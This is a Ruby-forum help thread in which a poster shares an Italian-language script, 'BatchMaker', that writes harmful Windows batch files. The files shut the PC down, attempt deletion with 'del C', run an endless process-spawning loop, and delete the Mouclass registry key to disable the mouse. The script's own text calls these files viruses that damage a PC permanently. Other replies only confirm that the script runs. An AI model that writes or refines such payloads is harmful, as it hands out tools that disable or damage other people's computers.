# This code doesn't open the file

**URL:** <https://www.ruby-forum.com/t/this-code-doesnt-open-the-file/259943>\
**Category:** Uncategorized\
**Created:** [July 4, 2020, 11:36am UTC](https://www.ruby-forum.com/t/this-code-doesnt-open-the-file/259943 "2020-07-04T11:36:20Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

**Author:** ![kali](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/k/a88e57/32.png) [@kali](https://www.ruby-forum.com/u/kali)\
**Post date:** [July 4, 2020, 11:36am UTC](https://www.ruby-forum.com/t/this-code-doesnt-open-the-file/259943/1 "2020-07-04T11:36:21Z")

</div>

Hi guys, I am new to ruby, and I am trying to create a simple script that opens file, but it doesn’t work!

```auto
system "color 9f"
puts "Eseguendo BatchMaker… by Sapphire Security"
system "timeout 3 > nul"
puts "Ecco i principali comandi, il comando ‘pcdown’, che può essere impiegato per la realizzazione"
puts "di file batch che appena aperti spengono il proprio computer; il comando ‘ripcomputer’, che"
puts "viene usato per la creazione di file batch che danneggiano un pc permanentemente, e ‘simplemalware’, che"
puts "crea un virus semplice, che se non contrastato subito può causare molti problemi."
puts "Esistono anche più comandi, come per esempio il 'blockmouse', che se aperto disabilita il mouse"
puts "in modo permanente."
puts "Scelta:"
scelta = gets.chomp
if scelta == "pcdown"
	File.open('pcdown.bat', 'w') do |pcdown|
	pcdown.puts "shutdown -p"
end
elsif scelta == "ripcomputer"
	File.open('ripcomputer.bat', 'w') do |ripcomputer|
		ripcomputer.puts "del C"
	end
elsif scelta == "simplemalware"
	File.open('simplemalware.bat', 'w') do |simplemalware|
		simplemalware.puts ":1"
		simplemalware.puts "start"
		simplemalware.puts "goto 1"
	end
elsif scelta == "blockmouse"
	File.open('blockmouse.bat', 'w') do |blockmouse|
		blockmouse.puts 'rem -----------'
		blockmouse.puts 'rem Disable Mouse'
		blockmouse.puts 'set key=HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass'
		blockmouse.puts 'reg delete %key%'
		blockmouse.puts 'rem -----------'
	end
else
puts "Scelta non valida."
end

```

These are italian words, could someone help me please? It doesn’t open the file!

---

<div class="post-metadata">

**Author:** ![WormerKing](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/w/a5b964/32.png) [@WormerKing](https://www.ruby-forum.com/u/WormerKing)\
**Post date:** [July 4, 2020, 12:52pm UTC](https://www.ruby-forum.com/t/this-code-doesnt-open-the-file/259943/2 "2020-07-04T12:52:19Z")

</div>

Please code write:

````auto
.```
your code
.```

````

---

<div class="post-metadata">

**Author:** ![pcl](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/ecae2f/32.png) [@pcl](https://www.ruby-forum.com/u/pcl)\
**Post date:** [July 6, 2020, 1:02am UTC](https://www.ruby-forum.com/t/this-code-doesnt-open-the-file/259943/3 "2020-07-06T01:02:42Z")

</div>

I tried running your code and the .bat files seem to be created fine.  
What exactly is going wrong?

---

<div class="post-metadata">

**Author:** ![kali](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/k/a88e57/32.png) [@kali](https://www.ruby-forum.com/u/kali)\
**Post date:** [July 6, 2020, 11:21am UTC](https://www.ruby-forum.com/t/this-code-doesnt-open-the-file/259943/4 "2020-07-06T11:21:29Z")

</div>

Idk, I just moved it on my desktop and it worked…

---

<div class="post-metadata">

**Author:** ![anuhya5](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/a/43a26b/32.png) [@anuhya5](https://www.ruby-forum.com/u/anuhya5)\
**Post date:** [July 27, 2020, 2:20pm UTC](https://www.ruby-forum.com/t/this-code-doesnt-open-the-file/259943/5 "2020-07-27T14:20:41Z")

</div>

I would run your code in my system its working you please try again hope it will work with you.
